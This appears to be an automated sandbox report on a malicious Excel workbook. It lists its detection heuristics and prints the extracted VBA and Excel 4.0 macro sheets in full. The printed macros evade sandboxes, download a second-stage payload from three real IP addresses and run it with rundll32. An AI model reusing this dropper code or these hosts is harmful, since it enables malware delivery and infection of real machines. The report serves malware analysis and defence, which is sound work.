MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
This Excel document contains critical Excel 4.0 macros that utilize dangerous functions like CALL and REGISTER to download and execute a second-stage payload. The Auto_Open macro is present, indicating immediate execution upon opening. The macros are designed to fetch content from the provided URLs, such as http://5.34.180.57/44313,6048108796.dat, which likely serves as the second-stage payload. The presence of hidden worksheets further suggests an attempt to conceal malicious activity.
Heuristics 7
-
Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Dangerous XLM formula APIs: FORMULA, GOTO, HALT, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://5.34.180.57/ In document text (OOXML body / shared strings)
- http://45.138.157.216/In document text (OOXML body / shared strings)
- http://45.12.32.131/In document text (OOXML body / shared strings)
- http://5.34.180.57/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://45.138.157.216/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://45.12.32.131/44313,6048108796.datIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 5
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2651 bytes |
SHA-256: 5b8703c963ccff58b2fe5575bbc6e69f0df0597a77d0f2f9ac7619e250577a21 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Sub Auto_Open()
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.ScreenUpdating = False
Application.ScreenUpdating = True
Application.Run Sheets("Kost").Range("AM5")
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 12288 bytes |
SHA-256: 4af5a69b72686ae2f95f829c98e98f406dae10333748edcada85b24b68aeebef |
|||
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 4198 bytes |
SHA-256: f90092cc573c0044407cb440d829560b618b9bf3234fc08e39504c578c519997 |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AG57:AM77"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="6.28515625" style="3" customWidth="1"/><col min="2" max="2" width="14.28515625" style="3" customWidth="1"/><col min="3" max="31" width="9.140625" style="3"/><col min="32" max="32" width="9.140625" style="3" customWidth="1"/><col min="33" max="34" width="9.140625" style="3" hidden="1" customWidth="1"/><col min="35" max="35" width="17.5703125" style="3" hidden="1" customWidth="1"/><col min="36" max="38" width="9.140625" style="3" hidden="1" customWidth="1"/><col min="39" max="39" width="11.7109375" style="3" hidden="1" customWidth="1"/><col min="40" max="16384" width="9.140625" style="3"/></cols><sheetData><row r="57" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ57" s="3"><v>1</v></c></row><row r="58" spans="34:39" x14ac:dyDescent="0.25"><c r="AJ58" s="3"><v>9</v></c></row><row r="60" spans="34:39" x14ac:dyDescent="0.25"><c r="AI60" s="3"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="61" spans="34:39" x14ac:dyDescent="0.25"><c r="AI61" s="3" t="b"><f>FORMULA(AH73&AH74&AH75,AJ65)</f><v>0</v></c></row><row r="62" spans="34:39" x14ac:dyDescent="0.25"><c r="AH62" s="3" t="str"><f>CONCATENATE(AH68,AI60,AH66,AH67)</f><v>http://5.34.180.57/44313,6048108796.dat</v></c><c r="AM62" s="3" t="e"><f>IF(GET.WORKSPACE(42),,CLOSE(1))</f><v>#N/A</v></c></row><row r="63" spans="34:39" x14ac:dyDescent="0.25"><c r="AH63" s="3" t="str"><f>CONCATENATE(AH69,AI60,AH66,AH67)</f><v>http://45.138.157.216/44313,6048108796.dat</v></c></row><row r="64" spans="34:39" x14ac:dyDescent="0.25"><c r="AH64" s="3" t="str"><f>CONCATENATE(AH70,AI60,AH66,AH67)</f><v>http://45.12.32.131/44313,6048108796.dat</v></c><c r="AJ64" s="3" t="s"><v>3</v></c></row><row r="66" spans="34:39" x14ac:dyDescent="0.25"><c r="AH66" s="3" t="s"><v>0</v></c><c r="AJ66" s="3" t="s"><v>4</v></c></row><row r="67" spans="34:39" x14ac:dyDescent="0.25"><c r="AH67" s="3" t="s"><v>1</v></c><c r="AJ67" s="3" t="s"><v>5</v></c><c r="AM67" s="3" t="e"><f>IF(GET.WORKSPACE(19),,CLOSE(1))</f><v>#N/A</v></c></row><row r="68" spans="34:39" x14ac:dyDescent="0.25"><c r="AH68" s="3" t="s"><v>9</v></c><c r="AM68" s="3" t="e"><f>GET.WORKSPACE(26)</f><v>#N/A</v></c></row><row r="69" spans="34:39" x14ac:dyDescent="0.25"><c r="AH69" s="3" t="s"><v>10</v></c><c r="AI69" s="3" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c><c r="AM69" s="3" t="b"><f>IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","Milolos"),CLOSE(1))</f><v>0</v></c></row><row r="70" spans="34:39" x14ac:dyDescent="0.25"><c r="AH70" s="3" t="s"><v>11</v></c><c r="AJ70" s="3" t="s"><v>8</v></c></row><row r="72" spans="34:39" x14ac:dyDescent="0.25"><c r="AM72" s="3" t="b"><f>HALT()</f><v>0</v></c></row><row r="73" spans="34:39" x14ac:dyDescent="0.25"><c r="AH73" s="3" t="s"><v>2</v></c></row><row r="74" spans="34:39" x14ac:dyDescent="0.25"><c r="AH74" s="3" t="s"><v>7</v></c></row><row r="75" spans="34:39" x14ac:dyDescent="0.25"><c r="AH75" s="3" t="s"><v>6</v></c></row><row r="77" spans="34:39" x14ac:dyDescent="0.25"><c r="AI77" s="3" t="b"><f>GOTO(Jioka!H15)</f><v>0</v></c></row></sheetData><pageMargins left="0.7"
... (truncated)
|
|||
xlm_sheet_01.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet2.xml | 2097 bytes |
SHA-256: 0a66b50328ea57abfd0fba95f93001e89e484283026f92736f861e28fb7eaa14 |
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="7" width="12.140625" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="2" t="b"><f>REGISTER(Kost!AJ64,Kost!AJ65,Kost!AJ66,Kost!AJ67,,Kost!AJ57,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="e"><f>Belandes(0,Kost!AH62,Kost!AJ70,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>IF(G12<0, Belandes(0,Kost!AH63,Kost!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="e"><f>IF(G13<0, Belandes(0,Kost!AH64,Kost!AJ70,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="2"><f>IF(G14<0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="e"><f>GOTO(Kost!AI74)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
|
|||
xlm_sheet_02.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet3.xml | 1832 bytes |
SHA-256: 5e80fd069ac35c5e39918d8dfaaf0ba77875f57b487bcfcc5d8bc7d346806551 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 shell/COM execution token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H9:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="9.85546875" style="2" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="str"><f>"rundll32 ..\Butyo.vikas"</f><v>rundll32 ..\Butyo.vikas</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="2" t="str"><f>",DllRegisterServer"</f><v>,DllRegisterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="2" t="b"><f>EXEC(I9&I10)</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.